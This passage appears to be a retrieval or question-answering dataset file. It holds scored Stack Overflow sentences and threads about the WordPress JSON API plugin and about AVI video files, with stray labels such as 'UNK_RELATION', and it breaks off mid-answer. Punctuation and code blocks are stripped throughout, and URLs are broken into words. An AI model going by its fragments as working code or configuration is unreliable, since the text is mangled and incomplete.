plugin that will turn any archive single post page etc into a json formatted object instead for quick API access .", "http : wordpress.mysite.com test-article will correctly 301 to http : wordpress.mysite.com test-article-new .. . .. . Is the ability to follow old permalinks canonical URLs available in the json-api plugin", "This is my JSON API url marineinsight.com api get recent posts http : www.marineinsight.com api get recent posts", "XMLRPC works fine but i am getting data in json format", "is it appropriate to use XMLRPC when the data you are receiving is in JSON format", "here ya go https : wordpress.org plugins json-api other notes .. .", "I call it this way : wp-json posts .. . .. . How can I make sure the JSON response also contains my Post Custom Fields", "You would then initiate a request to a JSON-based API wait for the response map the returned JSON to Realm objects and store them in your database .", "Yea I ve been playing around a little with this plugin but how can I format the JSON as I wish", "Hi i am using JSON API and JSON API USER to get content to my App which is connected to my wordpressblog what it does presently is getting recent post and some specific pages but in my website i have membership so that users can view only specific content but i am unable to use the same in my App if restrict some content either all users are unable to see in App or All are able to see .", "I realized I could generate the post links using this plugin .", "With WP DEBUG disabled the time it takes to bootstrap WordPress are as follows : .. . .. . Without SHORTINIT : 0.045 seconds .. . With SHORTINIT : 0.0015 seconds .. . .. . If this is for your own site where you demand performance you can probably increase this a bit by enabling an OpCache e.g .", "Check out this link https : github.com WP-API WP-API issues 433 .", "I am receiving the data from another server in JSON format and using that I want to create a post but due the nonce factor I can t create post if I am not logged in .", "@IsmailRBOUH : I tried http : 172.16.1.38 json get recent posts and it worked .", "As an FYI I am developing a cordova application and attempting to use the WP JSON API for WP backend .", "I have installed the wp-rest-api v2 to get the data in json array format .", "WP-API http : v2.wp-api.org out of the box the plugin works great .", "The response for all posts in wp-json does not include a couple of Custom Fields that I created in my posts .", "Thus I decided to generate just the links and somehow use these links to generate a JSON response .", "My API is implemented in a plugin using register rest route to register my routes .", "I am using a plugin known as Top Ten to generate the most viewed posts .", "Convert json to array remove keys and then convert back to json .", "This link api get recent posts is a link after you configured .htaccess .", "In short what I m looking for is a way to achieve something like this : http : example.org json get posts slugs slug-one slug-two slug-n .", "If not how can this functionality be mimicked in the API controllers", "Ok so here is the JSON respone : .. . .. . And Here the script which creates a div each post and fills it with it with json content field .", ".json .. . json file-get-contents cache folder . endpoint .", "Please help with the info about how can I upload image from external source using url and mark as featured image using the api .", "Depending on the situation it might be easier to POST instead of GET so you can feed it a JSON object instead of a messy string .", "I don t understand what you mean by feed it a JSON object instead of a mess string .", "Are you sure thumbnail images is jsonobject and not json array", "The only thing I have gotten to work is json .", "The API thinks you re looking for the get userinfo insecure cool endpoint .", "Since most plugin making use of the WP-API doesn t need any other plugins to be loaded even less a theme.. .", "For a better working API connect your site with JetPack to Wordpress.com and use their API .", "sure - marineinsight.com api get recent posts http : www.marineinsight.com api get recent posts", "Objective .. . .. . So I want to be able to check for changes since a given date whenever the local database was last updated and send the changed records to the mobile app via the wp JSON api .", "My JSON response : .. . .. . All I need to do is to add the below to attachments using json-api encode add filter : .. . .. . Kindly suggest me some way to do it .", "i have ingrident array json json array which have six element in each record i want name in autocomplete populate and their other record in hidden filed .", "How can I protect JSON data from the public", "SO.. . What s best practice for generate custom JSON from WP posts", "Assuming your JSON takes the general form of this : .. . .. . You could use this method .", "But this is generally a bad idea as much better tools exist for rendering of JSON data .", "I want to remove Key : value pair inside a JSON array ." ] }
{ "confidence": [ 62.5522346496582, 59.798683166503906, 57.62792205810547, 55.42655944824219, 52.31184005737305, 51.34260177612305, 50.99178695678711, 50.056095123291016, 49.215431213378906, 49.10327911376953, 48.66362762451172, 48.29859924316406, 48.220733642578125, 45.25429916381836, 44.49994659423828, 43.58479309082031, 43.13511657714844, 41.520263671875, 41.389225006103516, 40.62446594238281 ], "content": [ "Question : null .. . Answer : I had a problem about wordpress . I used wordpress 4.5.3 with plugin json-api 1.1.1 and i installed wordpress on ubuntu-16.04 i used apache2 and php7 . When i installed and activated plugin json-api on wordpress . When i clicked link get recent posts it returned .. . .. . This is file config virtual host : .. . .. . I don t know what is problem Hope everybody can explained for me why it don t work Comment : Try to use json get recent posts just to make sure that the plugin is working Comment : This link api get recent posts is a link after you configured .htaccess . Comment : @IsmailRBOUH : I tried http : 172.16.1.38 json get recent posts and it worked . But why i clicked link as default and it didn t work . Comment : @Qu nhNguy n Yup .htaccess was set as default of wordpress Comment : Try to visit the permalink menu in the admin section and try to click save button The purpose is to refresh rules", "Question : null .. . Answer : Using https : wordpress.org plugins json-api in an environment that segregates the standard wordpress install from a site that effectively uses wordpress as a service . .. . .. . Site A http : example.com the consumer .. . .. . Site B http : wordpress.example.com the standard wordpress site with the json-api plugin installed .. . .. . .. . .. . Old slug : test-article New slug : test-article-new .. . .. . .. . .. . Site A consumes site B via the JSON API Query : : get method .. . .. . So a call might look like : http : wordpress.example.com api post get post slug test-article .. . .. . But this will return no results because the slug is now test-article-new .. . .. . However a http call to bog-standard wordpress i.e . http : wordpress.mysite.com test-article will correctly 301 to http : wordpress.mysite.com test-article-new .. . .. . Is the ability to follow old permalinks canonical URLs available in the json-api plugin If not how can this functionality be mimicked in the API controllers", "Question : The response for all posts in wp-json does not include a couple of Custom Fields that I created in my posts . I call it this way : wp-json posts .. . .. . How can I make sure the JSON response also contains my Post Custom Fields .. . Answer : Check out this link https : github.com WP-API WP-API issues 433 . Turns out this is a problem at the mo in Wordpress but the link has a suggestion fix amongs others as such : .. . .. . You will however have to go through the full post as the above link s it turns out a lot of people are having this issue but a number of them got the issue resolved with all the suggestions in the post . It also appears this question has been asked before . refer to this http : stackoverflow.com questions 10132685 json-api-to-show-advanced-custom-fields-wordpress question . Comment : Thank you for your comment but I am using Custom Fields on a wordpress post and not Advanced Custom Fields wordpress-plugin . Hence the get field function is undefined in my case . Comment : Just guessing but instead of the get field line try custom get post custom post id and then you should be able to access the custom array eg custom field name .", "Question : I am developing IOS app where users will be login into my WordPress site and complete the form and send the data to WordPress Database . Here I am using JSON API for Wordpress to validate users . Is there any plugin which allow me to enter data to WP database directly .. . Answer : You can use the JSON API to add a post to Wordpress . You do have to implement Oauth2 if you want to do so . You could use one of these libraries for that : https : cocoapods.org q oauth .. . .. . See the API documentation for information about posting something : https : developer.wordpress.com docs api", "Question : null .. . Answer : I have recently started working with WordPress had my first task using JSON API . Now I know that after getting nonce from get nonce method I can create post but it is only possible if I am logged in also as an admin . My question is : How to create post using JSON API when you aren t logged in in the WP Admin Panel I am receiving the data from another server in JSON format and using that I want to create a post but due the nonce factor I can t create post if I am not logged in . Comment : What about XMLRPC Comment : XMLRPC works fine but i am getting data in json format is it appropriate to use XMLRPC when the data you are receiving is in JSON format Comment : Well in my case I hate XMLRPC because most of the site attacks on my sites are made by XMLRPC.. . So if you want to try the JSON API you can install wordpress.org plugins json-rest-api https : wordpress.org plugins json-rest-api .. . first you need to authenticate http : wp-api.org guides authentication.html then you can create the post http : wp-api.org posts create-a-post .. . You can read the post codeable.io community how-to-import-json-into-wordpress https : codeable.io community how-to-import-json-into-wordpress and in the last section they talk about the security nonce", "Question : For some reason out-of-the-box the Wordpress JSON API does not work on Nginx . I have tried several redirect schemes in the nginx conf . The only thing I have gotten to work is json . However this does not work for authentication and registration . As an FYI I am developing a cordova application and attempting to use the WP JSON API for WP backend . Comment : Any thrown errors source codes Comment : I found the answer posted below . Thanks for your question .. . Answer : I found the solution to the problem . Make sure that permalinks are working properly before you assume like I did that it is an issue with the plugin . I was able to correct permalinks for a wordpress site in a subdirectory on an nginx site . This article will help you if you face the same issue here http : lawsonry.com 2013 11 nginx-settings-wordpress-subdirectory-permalink-fix Comment : You never suspect the simplest thing thanks saved me a lot of time", "Question : I m trying to create a PhP script that will automatically post an article on my wordpress website I m using the wordpress CMS it s not a wordpress.com website . Here is what I ve done so far : .. . .. . Plugin installations .. . .. . I ve installed and activated the WordPress JSON API and the Basic Auth plugins on my website . Library and code .. . .. . I ve downloaded the WP REST php Library https : github.com Automattic wp-rest-php-lib tree master and I ve uploaded the files in src in the same folder as my script . Here is the code of my php script : .. . .. . And I m getting this error : .. . .. . WP REST Exception Object message : protected HTTP error for request response : .. . .. . I m not sure if the error is coming from me not using the library properly or else . Anyone can help me with this Thanks a lot guys .. . Answer : For those having the same issue it seems that it is the Basic Auth plugin that is not working . For a better working API connect your site with JetPack to Wordpress.com and use their API . Cheers Arthur", "Question : I m creating an app which has a list with content Images text.. . which is going to come from the Internet my website . I want to be able to update and add edit content easily . I m thinking about using WordPress as the backend and then use a HTML parser such as jSoup to get the text images etc . from the WordPress site and put it into the list wherever I need it in the app . I could easily add update delete content plus it is also accessible in a normal browser . Good idea why why not Anyone ever tried it Possible alternatives Comment : Use the RSS feed and I guess you could do it . But to say it s a good idea.. . probably not .. . Answer : There are plugins available to create a REST API from your WordPress site like this one : https : wordpress.org plugins json-rest-api . I think that might be useful", "Question : null .. . Answer : I am very new to wordpress trying to create post with featured image from a separate .Net application using JSon api . Please help with the info about how can I upload image from external source using url and mark as featured image using the api . Thanks. .", "Question : null .. . Answer : i want to get all posts that contains specific characters using json-api plugin in wordpress i successes to get post where title is equal to string mytitle using this http : mysite json get posts post type my type title mytitle http : mysite json get posts post type my type title mytitle but i want to get all posts that contains mytitle string can any one help", "Question : I would like to make requests to the WordPress API much faster . My API is implemented in a plugin using register rest route to register my routes . However since this is a plugin everything is loaded with it the child-theme and the theme and basically a query to this API is taking half a second because of all this useless parts loaded . Doesn t WordPress API can be used in another way Since most plugin making use of the WP-API doesn t need any other plugins to be loaded even less a theme.. . I don t understand how they could miss that . Is there anyway to do this Comment : the request doesn t do anything what request is that Comment : @brasofilo I have tried to make the question clearer . Basically this is what a call to my API does . Even if it does nothing it takes time anyway since all the theme and other plugins are loaded . .. . Answer : Sorry for my poor english if this is helpful for you . Put the plugin folder in root wordpress install . Or in plugin folder directly access .. . .. . Before check wp-load.php file included properly and working . wp-settings.php file load whole core plugins and themes files . wordpress is load first mu-plugins files wp-content mu-plugins and provide after action-hook muplugins loaded . Trigger this action to exit whole other files loaded . You can also find which action-hook is provide before muplugins loaded and stop other files and script execution . if define constant SHORTINIT before include wp-load.php its includes some files provide DB plugin or basic functions . When we want more load core files and not just want load plugins and theme files in this way found a solution . We check muplugins loaded hook is define wordpress early you can also find which hook is define before muplugins loaded then stop this point to after load more wordpress files . - .. . .. . When you want to test your script open file wp-settings.php and find string muplugins loaded then echo statement to check .", "Question : I m working on WordPress json-api plugin . I created my custom controller I want to retrieve posts as Json format my work was as below : .. . .. . My php code is : .. . .. . Json result as below : .. . .. . Why price is set to null what the correct syntax to extract price from custom-fields from posts in WordPress Comment : Please format your code correctly . Comment : Do a print r rows and see what you have inside . From your result post- custom fields- price seems to be null .. . .. . Answer : thank you dears for your quick help i found the solution i had to use : get post meta function to retrieve price so this line : .. . .. . will be as following : .. . .. . thank you", "Question : null .. . Answer : I have had that problem . I am using a plugin known as Top Ten to generate the most viewed posts . However this plugin does not generate the posts the WordPress way and I am unable to retrieve a well formatted JSON output when I access a page with it . This made me decide to have a look at alternatives . I realized I could generate the post links using this plugin . Thus I decided to generate just the links and somehow use these links to generate a JSON response . I looked at JSON API and I found something interesting that one can generate posts using the get posts method . The documentation went further to state that check WP Query documentation for the full list of supported parameters and at WP Query documentation I found something that I could use : post name in String slugs . This caught my attention but I have no idea how to implement this from JSON API . In short what I m looking for is a way to achieve something like this : http : example.org json get posts slugs slug-one slug-two slug-n . Any help will be appreciated . Thanks .", "Question : null .. . Answer : I m creating an app using the JSON API plugin in conjunction with this Events Manager Plugin in WordPress and I want to create an event using the create post controller . For example : .. . .. . That s enough to get the event created as a draft but I m not allowed to publish it until I have the location and the date info in the proper format . I found that adding location or date doesn t work . I even tried the custom parameters custom event end date referenced in a previous support question https : wordpress.org support topic create-events-with-api-rest replies 1 but none of that works for me . Comment : location and date are probably going to be meta data to the post object . Depending on the situation it might be easier to POST instead of GET so you can feed it a JSON object instead of a messy string . Comment : Thanks for the quick feedback . I am using the POST method . I don t understand what you mean by feed it a JSON object instead of a mess string . How would I go about doing that", "Question : I would like to make requests to the WordPress API much faster . My API is implemented in a plugin using register rest route to register my routes . However since this is a plugin everything is loaded with it the child-theme and the theme and basically a query to this API is taking half a second because of all this useless parts loaded . Doesn t WordPress API can be used in another way Since most plugin making use of the WP-API doesn t need any other plugins to be loaded even less a theme.. . I don t understand how they could miss that . Is there anyway to do this Comment : the request doesn t do anything what request is that Comment : @brasofilo I have tried to make the question clearer . Basically this is what a call to my API does . Even if it does nothing it takes time anyway since all the theme and other plugins are loaded . .. . Answer : Yes it is possible . In one of my plugins where I need the minimal WordPress core DB without plugins themes here is what I do : .. . .. . The PATH TO WORDPRESS constant I made up you just need to point that to the correct path . In plugins for example it might look like : .. . .. . Setting SHORTINIT to true certainly does help performance a bit . With WP DEBUG disabled the time it takes to bootstrap WordPress are as follows : .. . .. . Without SHORTINIT : 0.045 seconds .. . With SHORTINIT : 0.0015 seconds .. . .. . If this is for your own site where you demand performance you can probably increase this a bit by enabling an OpCache e.g . APC or PHP OpCache in recent versions . But I believe the 2 lines-of-code above to define SHORTINIT and require wp-load.php are what you re looking for . To clarify this file is a part of a plugin but it is called independently of WordPress itself via Ajax and directly . It never gets included or used by any other parts of the plugin or WP itself . EDIT : Since the OP is actually concerned with the WP-API not WordPress in general I am adding this to address the actual question . I ll leave the original answer content in case it can help someone else . I did further testing with the WP API and like @David said in his answer the issue is probably something else . I loaded up 12 plugins in addition to the rest api some fairly large plugins and my local install has about 25 themes installed one active of course . I edited WordPress index.php file and used microtime true to record when everything started and then edited one of the REST controllers to calculate how long it took from start to getting to the API endpoint . The result on my system is consistently around 0.0462 - 0.0513 seconds no PHP OpCache and no other system load . So it appears bootstrapping all of WordPress has little impact on performance . If the requests are taking half a second the bottleneck is elsewhere and cutting out plugins and themes is going to have minimal impact . At least this is what I found . Comment : That s a very good trick I actually do some stuff like that and loads wp-load.php to resolve such issues as wp-load.php and where I need callbacks . For my question it s a bit different since I am using WP-API I want to make my API available through the WP-API system . Problem is that WP-API is loading the whole WordPress for every single call . With your solution we are going completely around WP-API : Comment : My bad I had been reading the whispers of WP-API in the past months but haven t looked at it . I ll see if I can take a look at it later and revise my answer . Thanks for clearing it up . Comment : I sometimes use this trick in plugins too . In my case to define PATH TO WORDPRESS I do : define PATH TO WORDPRESS preg-replace wp-content . DIR . Comment : Hey @TigrouMeow I finally had a chance to look at this again . Edited my answer with what I found but basically I don t think loading up all of WP is the bottleneck and cutting out plugins won t really help much . Do you have any further details or the ability to profile the requests to see where the most time is being spent Comment : upvote for the investigation : the wp-query itself wont be very fast and slower on each post that is added but autoloaded wp options can be a huge draw as well . I ve often seen 100+ db queries there is a setting you can enter into wp-config quick guess define SAVEQUERIES true and then you can output all the db queries in a template wpdb- queries", "Question : null .. . Answer : I m trying to get recent posts from my wordpress blog but it s returning html instead of json . I want to use json to make it easier to access the blog contents . I already have the plugin installed and activated . Here s what I do to get the posts : .. . .. . What s the reason that it s returning html instead of json Are there any workarounds Some other posts mentioned using jsonp but that did not work for me either .", "Question : I would like to make requests to the WordPress API much faster . My API is implemented in a plugin using register rest route to register my routes . However since this is a plugin everything is loaded with it the child-theme and the theme and basically a query to this API is taking half a second because of all this useless parts loaded . Doesn t WordPress API can be used in another way Since most plugin making use of the WP-API doesn t need any other plugins to be loaded even less a theme.. . I don t understand how they could miss that . Is there anyway to do this Comment : the request doesn t do anything what request is that Comment : @brasofilo I have tried to make the question clearer . Basically this is what a call to my API does . Even if it does nothing it takes time anyway since all the theme and other plugins are loaded . .. . Answer : You should give this a try this http : wordpress.stackexchange.com questions 24710 is-it-possible-to-stop-selected-plugins-from-loading-on-certain-template-pages . It is a plug-in that allows you to enable disable certain plug-ins for post-types pages and other circumstances . For the theme part if you wrote it it would be easy to add something in the function.php to prevent it from attaching any hooks or filters in the case of an API request . As a sidenote couldn t you query de DB directly", "Question : I am new to PHP and I am working on wordpress JSON api . I want to remove Key : value pair inside a JSON array . Please help .. . .. . For example I want to remove slug : head-ache from post and post count : 0 from categories and next-url . Please help . UPDATE : : .. . .. . I have added the code in core.php and its not working . Can you please help me out . .. . .. . Comment : Convert json to array remove keys and then convert back to json . Comment : Possible duplicate of stackoverflow.com questions 7511821 http : stackoverflow.com questions 7511821 how-to-convert-json-string-to-array Comment : Try this : stackoverflow.com questions 2901562 http : stackoverflow.com questions 2901562 json-search-and-remove-in-php .. . Answer : You need to parse it to ordinary array then remove what you want and encode it back to json :", "Question : I am new to PHP and I am working on wordpress JSON api . I want to remove Key : value pair inside a JSON array . Please help .. . .. . For example I want to remove slug : head-ache from post and post count : 0 from categories and next-url . Please help . UPDATE : : .. . .. . I have added the code in core.php and its not working . Can you please help me out . .. . .. . Comment : Convert json to array remove keys and then convert back to json . Comment : Possible duplicate of stackoverflow.com questions 7511821 http : stackoverflow.com questions 7511821 how-to-convert-json-string-to-array Comment : Try this : stackoverflow.com questions 2901562 http : stackoverflow.com questions 2901562 json-search-and-remove-in-php .. . Answer : Just convert it to a PHP Array : .. . .. . Remove the Keys .. . .. . And convert back :", "Question : null .. . Answer : I am developing an Android App that is able to register users on a WordPress website and update their user meta vars by sending http requests GET Method using the JSON API Auth https : wordpress.org plugins json-api-auth and JSON API User https : wordpress.org plugins json-api-user plugins installed on WordPress . The problem is that to register a user I have to : .. . .. . 1- Make a request to get the nonce id : DomainName api get nonce controller user method register this will return a json with nonce id . 2- Another request to register a user : DomainName api user register username john email john@domain.com nonce TheIdFromPreviousRequest display name John . Till now a user is registered . Now I want to update his user meta vars .. . .. . 3- A request for updating user meta using the cookie from registration http-request : DomainName api user update user meta vars cookie COOKIE-HERE website user-website.com city Chicago country USA skills php css js web .. . .. . Now as you see each request is dependent on values in the previous request the way I am doing this is to make 3 AsyncTasks the first will make a request and when it gets response the other will start with data from response . The AsyncTask I am using is this taken from HERE http : stackoverflow.com questions 3505930 make-an-http-request-with-android : .. . .. . My question is : what is the best way to do this is there any way to do it using a php file that will handle all the requests or is there any class or function in Android to do this the correct way or my way is the only solution Note : The user meta vars I am updating are custom-fields added by me and can t be filled with data when requesting a registration . Thank you all" ] }
[ "yes-answer-long", "yes-answer-short" ]
api
UNK_RELATION
avi@video@104
avi -- this tag is for questions about playback of creation of and programmatic interaction with audio @placeholder interleave .avi files .
{ "confidence": [ 46.871707916259766, 46.81254959106445, 44.57969284057617, 43.564327239990234, 43.25232696533203, 43.004600524902344, 40.459598541259766, 40.14390563964844, 39.77781677246094, 39.619781494140625, 39.082183837890625, 38.775665283203125, 37.23128890991211, 37.209800720214844, 37.16388702392578, 37.16388702392578, 37.16388702392578, 36.913700103759766, 36.32559585571289, 36.28701400756836, 36.14826965332031, 36.14826965332031, 36.14826965332031, 35.86833953857422, 35.68185043334961, 35.678890228271484, 35.678890228271484, 35.49219512939453, 35.49219512939453, 35.49219512939453, 35.21544647216797, 35.21544647216797, 35.21544647216797, 34.931026458740234, 34.79468536376953, 34.755699157714844, 34.755699157714844, 34.66327667236328, 34.65785217285156, 34.63469696044922, 34.47657775878906, 34.42795944213867, 33.684532165527344, 33.684532165527344, 33.684532165527344, 33.684532165527344, 33.684532165527344, 33.684532165527344, 33.684532165527344, 33.684532165527344, 33.4857177734375, 33.25933837890625, 33.25933837890625, 33.224788665771484, 33.12779998779297, 32.669002532958984, 32.668914794921875, 32.668914794921875, 32.668914794921875, 32.668914794921875, 32.668914794921875, 32.668914794921875, 32.668914794921875, 32.51396942138672, 32.51396942138672, 32.51396942138672, 32.51396942138672, 32.51396942138672, 32.51396942138672, 32.51396942138672, 32.428077697753906, 31.712955474853516, 31.45167350769043, 31.45167350769043, 31.45167350769043, 31.45167350769043, 31.45167350769043, 31.412460327148438, 31.265853881835938, 31.25346565246582, 31.084991455078125, 31.069379806518555, 31.069379806518555, 31.069379806518555, 31.069379806518555, 31.069379806518555, 31.069379806518555, 31.069379806518555, 30.98305892944336, 30.98305892944336, 30.98305892944336, 30.98305892944336, 30.98305892944336, 30.98305892944336, 30.98305892944336, 30.98305892944336, 30.98305892944336, 30.98305892944336, 30.98305892944336, 30.98305892944336 ], "content": [ "JavafX doesn t allow playback for AVI files .", "The avi files are now playing but without an audio .", "What type of video and audio codecs are in these AVI files", "I am wondering if the HTML5 video tag now supports playback of .avi format video files .", "So ffmpeg will convert .AVI to .FLV with no audio lag", "Does it read the avi files", "These browser will indeed be able to play AVI as long as they have matching codecs installed AVI can contain about a million different video and audio formats .", "I made a simple graph that takes an existing avi file splits into video audio streams and then shifts the timestamps and the audio forward by about 100 ms . Then this is combined back via AVI mux and written out .", "Input avi file size is about 150M Bytes .", "But when I did this I got this message .. . .. . OpenCV : FFMPEG : tag 0xffffffff is not found format avi AVI Audio Video Interleaved .", "That is avi players like virtualdub and VLC and even the directshow AVI splitter ignore drop any video frames present before the audio starts .", "This code finds 5 key features of AVI files .", "Are there rules about the end bytes of an AVI file", "I have two AVI videos .", "Is that possible with the AVI container", "Calculate the number of seconds the AVI is .", "I created two avi .", "What is AVI", "If you run the resulting file through a simple avi splitter and avi mux back that is when the file size will actually drop .", "Below codes is current I used to play AVI files : .. . .. . AVI Player.java package runnable .. . .. . PCM Player.java", "AVI is not a format it s a container .", "Avi is just a container .", "Is AVI supported in Chrome not Chromium", "AVI is defined by Microsoft and it is the most common format for audio video data .", "possible duplicate of Open .avi with OpenCV 2.4 Ubuntu 11.04 http : stackoverflow.com questions 11181689 open-avi-with-opencv-2-4-ubuntu-11-04", "Remember that avi is not a format : it s a container .", "- Case a : Creating AVI file successful .", "I m using Video for Windows to record screen grabs to AVI files .", "Recently I ve discovered that ExoPlayer does not support AVI files .", "You could also convert your AVI files to MP4 .", "The result is an AVI file that is smaller and 6 frames shorter .", "I ve found some examples of .AVI in html on the web .", "That s why avi format is not good for streaming .", "The figure isn t a problem the .avi is .", "Different encoders work in different ways : .. . .. . Lets assume you are transcoding avi file to a smaller or lesser quality avi file .", "Namely if the AVIMux gets a few video frames before the audio starts it will actually omit the video frames from the output AVI .", "So I imagine you d have to parse the AVI file with some other library to extract the pre-audio frames .", "But am not able to convert the MOV to AVI .", "First i write a faked header with Content-Type : video avi and no length specification and then i just concatenate the bytes from the multiple AVI files .", "Okay to answer my own question after a lot of digging through the specs for MP4 3GP and AVI.. . .. . .. . AVI .. . .. . Metadata is at the start of AVI files according to the AVI file-format specification http : msdn.microsoft.com en-us library windows desktop dd318189 28v vs.85 29.aspx .", "I m trying to batch convert .avi files using imageJ macro .", "Possible Duplicate : .. . Webcam capture and convert to avi http : stackoverflow.com questions 2807040 webcam-capture-and-convert-to-avi .. . .. . Is there any way of capturing video from webcam encode and save the video as an avi file as a movie using c", "Is it possible to convert an AVI file to 3gp in C", "Trying to use MatLab to read in an AVI frame by frame .", "What I m asking for is the way to make it support AVI .", "Is it possible to convert an AVI file to FLV format with PHP", "I want to read an AVI File in Matlab .", "Otherwise have you tried with an uncompressed avi", "So what is the proper way to convert a stream to avi", "Write AVI stream header : avformat write header .. . .. . 5 .", "I have a bunch of AVI files with the same audio codec video resolution but the video-codecs are different : they have fourcc xvid mp42 and dx50 .", "Some AVI files can play correctly but the others can not .", "Use fread to read any file in you want even .avi files :", "I am trying to swap the order of 2 audio tracks of an AVI file using ffmpeg .", "To add a bit and clarify after more experiments shifting the audio forward results in an AVI file that is the same size as the original but looking at the resulting AVI file in directshow virtualdub etc all the frames before the first audio frame are skipped .", "Thank you the playback works perfectly but how do I save it as .avi file", "It says the output .avi file is of 0 bytes .", "Thanks but I need an avi or mpeg compressed or not compressed .", "How to play .avi and .mov video formats in html", "What are your current AVI export settings", "I have a problem with playing .avi video in AVPlayer .", "Especially since the official webkit does not support AVI .", "This occurs with any avi I generate in matlab .", "using the option save-as old avi format in VirtualDub solves this problem .", "If frames are dropped from the AVI I can t match the frames and the data .", "What stops Mac users from seeing videos in AVI containers", "I thought quicktime was the default on a mac and it can t do .AVI", "My copy of Quicktime is perfectly capable of dealing with video in an AVI container .", "I have an AVI file and I have put it on IIS 7 for streaming .", "As you already discovered yourself index is written at the end of avi containers .", "As per this issue https : github.com google ExoPlayer issues 745 they are not going to add AVI support but there is some way to play AVI with some deprecated API .", "I try to get correct AVI video-player to play AVI file since my current AVI Player class looks like not work really good anymore .", "What do you want to do with the AVI file", "But the contents of an avi file are video frames in a compressed format .", "You may convert it later to .avi again .", "Almost 90 of the video clips is in AVI format .", "I ve used AVI because the specs are simple .", "Currently in your macro you are either opening an AVI file if the name ends-with avi or saving the current image whatever it will be at runtime as the current file name.. .", ".mov and .avi are not supported by the HTML5 video tag so you will have to convert them or use a plug-in such as Flash", "Edit 2 .. . .. . The avi file length has been move to new question http : stackoverflow.com questions 1770078 getting-avi-file-duration since mghie answered this question .", ": - .. . .. . I learned from the below link that there could be a very quick way to convert from avi to asf to support streaming better as mentioned could convert the video from AVI to ASF format using a simple copy i.e .", "Is there any way to edit just the track data of an AVI file like mkvpropedit does with MKV files", "Yes I can read avi files on my video-player however it does not work with my OpenCV-Qt application .", "Does someone here has experience in opening avi files in Ubuntu using OpenCV", "EDIT 2 test on Windows 7 .. . .. . With that code I was able to open SOME avi files but not all actually far from that .", "I have tested your Matlab code using some avi files and I have no problem with them .", "And the other .avi files I tried their video-codecs are also MPEG-4 XVID", "There will be many of avi files and with that size I will lose my disk space really fast .", "I want to open AVI file read some details from it and close it .", "I m trying to convert GIF to AVI using VirtualDub but the transparency is not getting preserved .", "Has anyone overcome this with Win10 WMP and TSCC-encoded AVI video", "Or rather have a link in the help that opens the .avi in a seperate window .", "avi is just a container and uses a 32-bit number for demential resolution .", "Try this. . Hope this will help you .. . .. . this will convert your avi to 3gp .", "Primarily designed for DVD cough backup purposes but it will also accept AVI as source .", "So I think it is your avi file that is causing the error .", "I want to use ffmpeg to convert .avi to .gif with good quality and subtitles .", "I was wondering what is the proper way of encoding online mp4-stream to avi .", "I have an avi file with width 1 height 1728 and a duration of 12s .", "I have a avi file encoded using Microsoft MPEG-4 MP42 ." ] }
{ "confidence": [ 56.385414123535156, 52.21489715576172, 49.68541717529297, 49.66917419433594, 49.58269500732422, 49.116973876953125, 47.53797149658203, 46.09428405761719, 45.93047332763672, 45.53611755371094, 44.75972366333008, 43.950050354003906, 43.93339538574219, 43.606082916259766, 42.85948181152344, 42.789642333984375, 42.4989128112793, 41.56352996826172, 41.22193908691406, 41.22193908691406 ], "content": [ "Question : I am wondering if the HTML5 video tag now supports playback of .avi format video files . Thanks . .. . Answer : There are three formats with a reasonable level of support : H.264 MPEG-4 AVC OGG Theora VP3 and WebM VP8 . See the wiki linked by Sam for which browsers support which you will typically need at least one of those plus Flash fallback . Whilst most browsers won t touch AVI there are some browser builds that expose all the multimedia capabilities of the underlying OS to video . These browser will indeed be able to play AVI as long as they have matching codecs installed AVI can contain about a million different video and audio formats . In particular Safari on OS X with QuickTime or Konqi with GStreamer . Personally I think this is an absolutely disastrous idea as it exposes a very large codec codebase to the net a codebase that was mostly not written to be resistant to network attacks . One of the worst drawbacks of media-player plugins was the huge number of security holes they made available to every web page exploit . Let s not make this mistake again . Comment : @jQueryAngryBird : As the answer says most browsers do not . You could target the Windows Media Player and or QuickTime plugin to try to play AVI or WMV but it s yesterday s solution and will work for a declining subset of devices . Better to convert to MP4 WebM .", "Question : I am wondering if the HTML5 video tag now supports playback of .avi format video files . Thanks . .. . Answer : Short answer : No . Use WebM or Ogg instead . This article http : diveintohtml5.info video.html covers just about everything you need to know about the video element including which browsers support which container formats and codecs . Comment : Why there is no direct answer here It is better to have short answer even through there is a link for detail answer . Comment : The direct answer is no . Technically video can support any codec but in practicality no browser decodes avi . So .. . no .", "Question : null .. . Answer : I m using ExoPlayer to play video audio files in my app . Recently I ve discovered that ExoPlayer does not support AVI files . What I m asking for is the way to make it support AVI . As per this issue https : github.com google ExoPlayer issues 745 they are not going to add AVI support but there is some way to play AVI with some deprecated API . Comment : You could also convert your AVI files to MP4 . Better compression and quality . Comment : @Wildcopper I m playing files from URLs they are not static .", "Question : When the directshow AVIMux is provided with two streams of data e.g . audio and video and one stream starts a bit before the other is there any way to control how the AVIMux behaves Namely if the AVIMux gets a few video frames before the audio starts it will actually omit the video frames from the output AVI . This contrasts with what it does when audio is missing at the end when it includes the video frames anyways . My sources for the audio and video are live streams commercial capture filters I can t really improve control and I d like to keep the video frames even though the audio starts a bit later . Is there a nice way to do this I can imagine wrapping the two filters into a custom filter with its own graph and inserting silence as necessary but it would be awesome to not have to go to all of that trouble . .. . Answer : The question has seemingly incorrect assumption about dropping frames in the multiplexer . The multiplexer looks at video and audio data time stamps . If a few frames before.. . means that time stamps are negative and the data is preroll data then it s dropped and excluded from resulting file . Otherwise it s included regardless of the actual order of data on the input of the multiplexer . Respective audio silence will be present in the beginning of the audio track . That is make sure the data is correctly time stamped and multiplexer will get it written . Comment : Thanks for the idea unfortunately this doesn t match what I see . I made a simple graph that takes an existing avi file splits into video audio streams and then shifts the timestamps and the audio forward by about 100 ms . Then this is combined back via AVI mux and written out . The result is an AVI file that is smaller and 6 frames shorter . I can repeat the process and continually trim 6 frames off each time . All video frames have positive timestamps . I did not realize negative timestamps could also lead to dropping so I will be on the lookout for that . Comment : To add a bit and clarify after more experiments shifting the audio forward results in an AVI file that is the same size as the original but looking at the resulting AVI file in directshow virtualdub etc all the frames before the first audio frame are skipped . If you run the resulting file through a simple avi splitter and avi mux back that is when the file size will actually drop . Comment : I also confirmed your statement about negative timestamps if an entire video sample s time is negative it is indeed dropped . If any part is positive it is retained . The directshow source I am working with does indeed sometimes spit out the first frame with time entirely negative so this is great to know and saves me other headaches .", "Question : I am wondering if the HTML5 video tag now supports playback of .avi format video files . Thanks . .. . Answer : The HTML specification never specifies any content formats . That s not its job . There s plenty of standards organizations that are more qualified than the W3C to specify video formats . That s what content negotiation is for . The HTML specification doesn t specify any image-formats for the img element . The HTML specification doesn t specify any style sheet languages for the style element . The 